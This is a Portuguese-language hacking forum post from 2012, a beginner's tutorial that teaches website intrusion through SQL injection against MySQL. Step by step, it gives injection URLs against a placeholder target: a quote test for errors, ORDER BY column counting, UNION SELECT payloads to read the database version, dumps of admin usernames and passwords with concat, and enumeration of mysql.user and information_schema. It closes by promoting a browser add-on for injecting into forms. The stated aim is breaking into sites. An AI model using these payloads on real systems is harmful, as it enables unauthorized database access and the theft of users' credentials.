Terroristas Hackers Group

Gostaria de reagir a esta mensagem? Crie uma conta em poucos cliques ou inicie sessão para continuar.

Aqui vc encontra tuturiais, progamas, download e muito mais .


    SQL Injection Manual!Tutorial para Iniciantes

    Panicobl
    Panicobl
    Admin


    Mensagens : 31
    Reputação : 5
    Data de inscrição : 02/04/2012
    Idade : 31
    Localização : Brasil

    SQL Injection Manual!Tutorial para Iniciantes Empty SQL Injection Manual!Tutorial para Iniciantes

    Mensagem  Panicobl Dom Abr 29, 2012 12:12 am

    Tutorial como invadir com SQL Injection (MySQL), sql injection por method $_GET e $_POST, programa para sqlinjection

    ============================================================================================================
    Criei este tutorial a fim de demonstrar uma das melhores formas de
    invasão e uma das mais usadas hoje em dia. Ate porque os programadores
    de hoje em dia não estão si importando com a segurança do site e suas
    áreas restritas.

    OBS: não vou explicar aqui detalhadamente sobre os códigos sql, pois
    quem deseja fazer ataques sqlinjection com certeza precisa ter
    conhecimento sobre banco de dados.

    O que é Sql Injection?

    É uma vulnerabilidade existente nos dias de hoje, que si usa de uma
    manipulação em códigos sql. Esta vulnerabilidade permite ao atacante
    executar consultas ao banco de dados inserindo querys (comandos Sql) na
    url do site ou ate mesmo em campos de text. obtendo, assim, informações
    confidenciais como logins e senhas, dentre outros.
    Hoje em dia são usadas muitas técnicas para explorar um banco de dados de um site servidor… Citarei algumas das técnicas.
    1 – Sql Injection

    A) Verificar a si existe uma Vulnerabilidade sem programa.

    Vou citar um exemplo básico, para si saber si existe uma
    vulnerabilidade. Suponhamos que existe um site chamado “ALVO”, e esse
    site contem dados enviados por variáveis URL.

    Código:

    http://www.alvo.com/news.php?id=5

    No caso acima, o nome do site é www.alvo.com,
    Toda vez que você ver no link de um site o sinal de interrogação
    seguido de alguma palavra,letra,silaba recebendo algum valor, isso quer
    diser que existe um dado sendo enviado de uma pagina para outra.
    Exemplo: ?id=5.

    Isso significa que neste caso, a pagina news.php estará recebendo o.

    Concerteza na pagina, chamada news.php terá um código, parecido com esse:

    $id =$_post[‘id’];

    E obviamente terá um código sql, parecido com esse.

    Query_rs = “select * from noticias where código=’$id’”

    Isso significa que a pagina news.php esta selecionando a noticia em
    que o codigo da noticia seja igual ao codigo da URL, que seria a
    variavel $id.

    Agora, vamos a parte para identificarmos se o site é vulnerável,
    colocaremos ao final da url uma aspa simples ( ‘ ). Abaixo é mostrado a
    forma como a url ficará.

    Código:

    http://www.alvo.com/news.php?id=5′

    Caso o site retorne um erro igualmente ou semelhante ao apresentado a seguir. O site é vulnerável a Sql Injection

    Erro:

    “You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the…

    O erro acima diz que a sintase da consulta sql esta incorreta. e pede
    para você checar o manual correspondente ao SGBD que você está
    utilizando. “Até parece que você é o administrador do site”

    Agora que checamos o erro no site e sabemos que este é vulnerável a
    injeção de Sql na url. Agora Iremos aprender a explorar esta
    vulnerabilidade. Com alguns macetes:

    B) – Localizar a Quantidade/Número de Colunas/Tabelas do banco de dados.

    Utilizaremos uma forma bastante simples para descobrir a quantidade
    de colunas existentes na tabela. Para encontrar a quantidade de
    Colunas/Tabelas é utilizado o comando ORDER BY, esse comando é colocado
    no fim da sintase sql, significa ordenar em formas descendente,
    ascendente dentre outras a suas consulta.

    Mas como utilizar este comando Sql?

    Ao final da url você adiciona o comando order by e vai
    adicionando uma sequência de Colunas, ou seja, você pode acionar a
    coluna correspondente. Caso queira olhar a coluna 1, ordene assim:

    Código:

    http://www.alvo.com/news.php?id=5 order by 1

    Se não aparecer nenhum erro é por que esta Coluna número 1 existe.
    Para localizar a quantidade de colunas basta ir tentando ordenar todas
    as colunas de 1 a infinito. Lembre-se que esta vulnerabilidade
    necessitamos trabalhar em cima dos erros, então o ideal é você ir
    acrescentado valor até que o site retorne um erro dizendo que a Coluna é
    inexistente no banco de dados.

    Código:

    http://www.alvo.com/news.php?id=5 order by 1/* <– Sem erro

    http://www.alvo.com/news.php?id=5 order by 1,2/* <– Sem erro

    http://www.alvo.com/news.php?id=5 order by 1,2,3/* <– Sem erro

    http://www.site.com/news.php?id=5 order by 1,2,3,4 <– Com erro

    O exemplo acima, é atribuido Colunas (1..2..3..4), no entanto, é
    mencionado erro na Coluna 4. Conclui-se então que esta Coluna é
    inexistente e que o banco possui apenas 3 Colunas.

    C) – Utilizando a função UNION.

    Esta função poderosa é responsável por unir vários dados localizados em Colunas de Tabelas diferentes. “Essa é muito boa”

    Vamos utilizar o exemplo abaixo para melhor exemplificar.

    Código:

    http://www.alvo.com/news.php?id=5 union all select 1,2,3

    Explicando a Sql:
    O exemplo acima vai possibilitar ao “Injectador” visualizar todas as informações contidas nas Colunas/Tabelas 1, 2 e 3 do banco.

    Código:

    …?id … union all select 1,2,3
    Faça a união de todas as informações contidas das Colunas/Tabelas 1, 2 e 3 do site: http://www.alvo.com/news.php. Está e a ordem que você atribui ao comando colocado na url do site.

    D) – Descobrindo a versão do SGBD (MySql).

    Código:

    http://www.alvo.com/news.php?id=5 union all select 1,2,3

    Observe acima que na url o comando Sql pede para visualizar as três
    Colunas/Tabelas existentes no banco. Agora para visualizar a versão do
    banco é necessário que façamos uma substituição. Retirar a Coluna/Tabela
    2 pelo comando @@version.

    Código:

    http://www.alvo.com/news.php?id=5 union all select 1,@@version,3

    Caso não der certo, você receberá uma mensagem de erro semelhante a esta:

    Citação:

    “union + illegal mix of collations (IMPLICIT + COERCIBLE) …”
    Para resolver este erro vamos utilizar a função convert(). Exemplo abaixo:

    Código:

    http://www.alvo.com/news.php?id=5 union all select 1,convert(@@version using latin1),3/

    Ou então as funções hex() e unhex();

    Código:

    http://www.alvo.com/news.php?id=5 union all select 1,unhex(hex(@@version)),3/
    Com os procedimentos acima, você irá conseguir achar a versão do SGBD MySql.

    E) – Obtendo o nome da Coluna/Tabela.

    Agora que temos a versão, iremos ao passo seguinte. Descobrir o nome das Colunas/Tabelas:

    Geralmente os DBA’s (Administradores de Banco de Dados) utilizam nomes comuns como padronização para suas Colunas/Tabelas como:

    Citação:

    user, usuario, admin, member, membro, password, passwd, pwd, user_name

    Lógico que isto depende bastante de DBA’s e qual tipo de padronização ele estiver utilizando.

    Na consulta abaixo o “Injectador” bicuda, isto mesmo ele utiliza a
    técnica de tentativo-erro, para tentar acertar o nome da Coluna/Tabela.

    Código:

    http://www.alvo.com/news.php?id=5 union all select 1,2,3 from admin
    Observe que acima a query diz: “Mostre-me os valores das Colunas/Tabelas 1, 2 e 3 do usuário admin”.

    Código:

    http://www.alvo.com/news.php?id=5 union all select 1,username,3 from admin
    Caso apareça erro, vá mudando o nome da coluna… afinal é a técnica da tentativa e erro.

    Código:

    http://www.alvo.com/news.php?id=5 union all select 1,username,3 from admin/

    Acima, observe que a consulta começa a ficar refinada: “Mostre-me os
    valores Coluna/Tabelas 1, o nome do usuário e 3 do usuário admin”. Ou
    seja, suponha que o DBA tenha criado um banco onde as ele separou a
    Tabela admin, como o exemplo. No entanto, este admin possui inumeras
    informações (campos) como: nome do admin (username), password, endereco,
    idade.. etc.

    Código:

    http://www.alvo.com/news.php?id=5 union all select 1,username, password from admin

    Caso a consulta der certo, na tela aparecerá o nome do usuário e a
    senha. Esta senha aparecerá na tela tanto como texto ou criptografada,
    em md5 hash.. etc. Vai depender muito da base de dados onde foi
    desenvolvido o banco.

    Para ficar com um boa aparência e organizada as informações na tela. É utilizado a função concat().

    Código:

    http://www.alvo.com/news.php?id=5 union all select 1,concat(username,0x3a,password),3 from admin/*

    Dependendo do campo, fica a seu critério inserir em hexadecimal (0x3a) ou utilizando o padrão Ascii (char(58)).

    Código:

    http://www.alvo.com/news.php?id=5 union all select 1,concat(username,char(58),password),3 from admin/*

    Na tela já aparecerá os valores com o nome do usuário administrador e
    a senha. Faça orações para que não aparece em hash md5 senão vai ser
    outra guerra..

    Dica: Quando está difícil para achar o nome da Coluna/Tabela, sempre é
    bom utilizar mysql.user, pois é muito utilizado como default e como
    padrão. Exemplo abaixo.

    Código:

    http://www.alvo.com/news.php?id=5 union all select 1,concat(user,0x3a,password),3 from mysql.user/*

    F) – MySql 5.

    Devido algumas diferenças atribuídas a versão 5 do MySql. É mostrado aqui uma técnica para obter o nome das Colunas/Tabelas.

    Nesta nova versão, é acrescentada um arquivo chamado
    information_schema, onde possui informações sobre todas as
    Colunas/Tabelas do banco. É este arquivo que será o nosso alvo.

    Código:

    http://www.alvo.com/news.php?id=5 union all select 1,table_name,3 from information_schema.tables/*

    Na consulta acima substituimos o campo 2 por table_name para obter a primeira tabela de information_schema.

    Agora para que a consulta seja rápida é necessário acrescentar um limite para as linhas.
    Observer abaixo que é colocado como limite 0, 1.

    Código:

    http://www.alvo.com/news.php?id=5 union all select 1,table_name,3 from information_schema.tables limit 0,1/*

    OBS: você deve ir acrescentando os valores dos limites: 1, 2; 3,4.
    Vai depender de você, pois vamos supor que o alvo principal é a
    Coluna/Tabela admin_password e está está na posição 43, então você
    deveria acrescentar uma por uma até achar… 1, 2; …, …; 42, 43.

    Espero que tenham entendido esta parte.
    Para obter o nome das colunas, também é utilizado a mesma lógica. Só que agora no arquivo information_schema.columns.

    Código:

    http://www.alvo.com/news.php?id=5 union all select 1,column_name,3 from information_schema.columns limit 0,1/*

    Agora vamos a uma consulta mais específica. Caso você queira que
    apareça informações mais específica como o nome dos usuário pode-se
    fazer a consulta abaixo:

    Código:

    http://www.alvo.com/news.php?id=5 union all select 1,column_name,3 from information_schema.columns where table_name=’users’/

    Com esta consulta é visualizado o nome das colunas.. agora é só utilizar os limites para visualizar os nomes de usuários.

    Caso os valores estejam em colunas diferentes (lugares) vamos concatenar utilizando o concat().

    Código:

    http://www.alvo.com/news.php?id=5 union all select 1,concat(user,0x3a,pass,0x3a,email) from users/*

    Ferramenta de auxílio
    SQL Injection 1.2 + Firefox.

    https://addons.mozilla.org/pt-BR/firefox/addon/6727

    Para dá apoio/auxílio na injeção dos códigos da SQL Injection, aqui é
    mostrado um complemento do Firefox que pode ajudá-lo bastante nesta
    tarefa.
    O SQL Injection 1.2 que é uma complemento que nos ajuda
    a inserir códigos tanto em Post quanto em Get. Além de você pode
    memorizar todas as entradas que você adquirir, sem a necessidade de
    utilizar o Crtl + c e Crtl + v.

    Abaixo as ilustrações mostram a facilidade de uso da ferramenta.

    Acima simplesmente pedimos para mostrar o usuário, a senha e o email.

    Isto é um exemplo de Sql Injection Avançado. Não é uma técnica tão simples, necessita-se de prática e conhecimento em Sql.
    Para quem sabe manejar bem o sql, concerteza que com este simples
    tutorial, aprenderá coisas a mais do que estou ensinando. Aprenderá que
    para fazer um sql injection basta injetar um código em outro código.
    Espero que todos tenham entendido pelo menos a essência da coisa.


    A imagem 01 mostra o ícone no campo inferior do Browser. Para darmos
    início a execução do complemento é necessário dar um clique em cima do
    ícone (cadeado).



    A imagem 02 mostra o complemento em si. Observe que não tem muito
    mistério, um campo para a escolha da String/Query e dois botões de
    escolha.



    A imagem 3 mostra que o complemento já vem com algumas Strings, as Query’s que aparecem eu mesmo adicionei.

    Mas como funciona?


    A imagem 04 mostra que o SQL Injection 1.2 já fez a limitação dos campos que podem vir a receber os Strings, que na ilustração acima correspondem a Usuário, Senha, Entrar.

    Para inserir é necessário que você clique em cima de qualquer um dos 3 campos do site.



    A imagem 05 aparece logo após você clicar no campo desejado. Então
    você pode fazer a escolha de fazer a injeção por POST ou por GET.



    Na imagem 06 você agora deve escolher em qual campo será inserido a
    String. Para isto você deve optar em clicar em um dos dois botões:
    O botão Injection Code possibilita inserir a String apenas no input que você clicou anteriormente.
    O botão Injection in all possibilita que a String seja inserida em todos os campos do site.

    Observe que eu clique no botão Injection in all.

    Pronto, logo após para iniciar a injeção basta clicar no tão Submit this form.

    _____________________________________________________________________

    Existem também a possibilidade de você criar e salvar as suas próprias Strings/Querys.

    Para isto, basta você clicar na ícone do SQL Injection 1.2, mostrado na ilustração 01, e adicionar conforme mostrado na figura acima.

    Esta ferramenta ajuda muito aqueles que são fanáticos em sql injection, assim como me ajuda muito.

      Data/hora atual: Sex maio 10, 2024 5:55 pm